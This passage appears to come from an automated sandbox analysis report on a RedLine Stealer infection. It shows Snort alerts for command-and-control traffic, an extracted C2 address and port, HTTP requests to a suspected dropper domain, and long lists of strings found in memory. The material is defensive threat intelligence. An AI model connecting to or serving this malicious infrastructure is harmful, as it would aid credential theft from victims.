Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	14_2_00007FF6FC4F23A0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	14_2_00007FF6FC4F2490
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	14_2_00007FF6FC4F2490
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	14_2_00007FF6FC4F2490
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	14_2_00007FF6FC4F2490
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then push r13	14_2_00007FF6FC4F2490
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then mov qword ptr [rsp+28h], 0000000000000000h	14_2_00007FF6FC4F2490
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 4x nop then mov rax, qword ptr [rcx]	14_2_00007FF6FC4E5530

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2039616 ET TROJAN Win32/Agent.AETZ CnC Checkin 192.168.2.3:49714 -> 172.66.43.60:443
Source: Traffic	Snort IDS: 2850027 ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init 192.168.2.3:49711 -> 37.220.87.2:27924
Source: Traffic	Snort IDS: 2850286 ETPRO TROJAN Redline Stealer TCP CnC Activity 192.168.2.3:49711 -> 37.220.87.2:27924
Source: Traffic	Snort IDS: 2850353 ETPRO MALWARE Redline Stealer TCP CnC - Id1Response 37.220.87.2:27924 -> 192.168.2.3:49711

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 37.220.87.2:27924

Potential dropper URLs found in powershell memory

Source: powershell.exe, 00000022.00000002.477819375.000001FA00208000.00000004.00000800.00020000.00000000.sdmp	String found in memory: http://schemas.microsoft.com/cmdlets-over-objects/2009/11:Version, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:DefaultNoun, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:InstanceCmdlets, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:StaticCmdlets, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:CmdletAdapterPrivateData
Source: powershell.exe, 00000022.00000002.477819375.000001FA00208000.00000004.00000800.00020000.00000000.sdmp	String found in memory: http://schemas.microsoft.com/cmdlets-over-objects/2009/11:Type, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:MaxValueQuery, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:RegularQuery, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ExcludeQuery, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:MinValueQueryX
Source: powershell.exe, 00000022.00000002.477819375.000001FA00208000.00000004.00000800.00020000.00000000.sdmp	String found in memory: http://schemas.microsoft.com/cmdlets-over-objects/2009/11:AllowEmptyCollection, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:AllowEmptyString, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:AllowNull, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateNotNull, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateNotNullOrEmpty, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateCount, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateLength, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateRange, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:ValidateSet, http://schemas.microsoft.com/cmdlets-over-objects/2009/11:Obsolete

Source: global traffic	HTTP traffic detected: GET /aula/dmi1dfg7n.kjylug HTTP/1.1Host: www.idpminic.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /aula/ofg7d45fsdfgg312.sfhg HTTP/1.1Host: www.idpminic.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /aula/f429fjd4uf84u.sdfh HTTP/1.1Host: www.idpminic.org

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

IP Address: 172.66.43.60 172.66.43.60

Source: global traffic

TCP traffic: 192.168.2.3:49711 -> 37.220.87.2:27924

Source: GoogleUpdate.exe.21.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt0
Source: GoogleUpdate.exe.21.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: GoogleUpdate.exe.21.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: GoogleUpdate.exe.21.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: powershell.exe, 00000022.00000003.456801662.000001FA7DCEA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.568398721.000001FA7DD11000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.495414472.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.497725727.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.420704312.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.511460584.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.425249679.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.461402214.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.435587466.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000002.593295784.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.463851591.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.457013278.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.440184398.00000000007F5000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.407817226.00000000007F5000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.406610047.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.431176320.00000000007F1000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.403752842.00000000007F6000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.422505726.00000000007F3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.470846761.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.485720727.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000033.00000003.499676006.00000000007F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: GoogleUpdate.exe.21.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: GoogleUpdate.exe.21.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: GoogleUpdate.exe.21.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: GoogleUpdate.exe.21.dr	String found in binary or memory: http://crl3.digicert.com/assured-cs-g1.crl00
Source: GoogleUpdate.exe.21.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: GoogleUpdate.exe.21.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: GoogleUpdate.exe.21.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: GoogleUpdate.exe.21.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: GoogleUpdate.exe.21.dr	String found in binary or memory: http://crl4.digicert.com/assured-cs-g1.crl0L
Source: GoogleUpdate.exe.21.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: GoogleUpdate.exe.21.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: vbc.exe, 00000002.00000002.367315019.00000000076DA000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.367725459.0000000007707000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://idpminic.org
Source: powershell.exe, 00000022.00000002.551873641.000001FA10063000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: GoogleUpdate.exe.21.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: GoogleUpdate.exe.21.dr	String found in binary or memory: http://ocsp.digicert.com0L
Source: GoogleUpdate.exe.21.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: GoogleUpdate.exe.21.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: powershell.exe, 00000022.00000002.564977301.000001FA7D75A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://osoft.com/PKI/doefault.htm0
Source: powershell.exe, 00000022.00000002.477819375.000001FA00208000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: powershell.exe, 00000022.00000002.477819375.000001FA00208000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultp
Source: vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.470747356.000001FA00001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: powershell.exe, 00000022.00000002.477819375.000001FA00208000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: vbc.exe, 00000002.00000002.357002142.0000000007412000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: vbc.exe, 00000002.00000002.364412910.00000000075F6000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: vbc.exe, 00000002.00000002.364412910.00000000075F6000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: vbc.exe, 00000002.00000002.364412910.00000000075F6000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: vbc.exe, 00000002.00000002.364412910.00000000075F6000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: vbc.exe, 00000002.00000002.354507239.0000000007381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
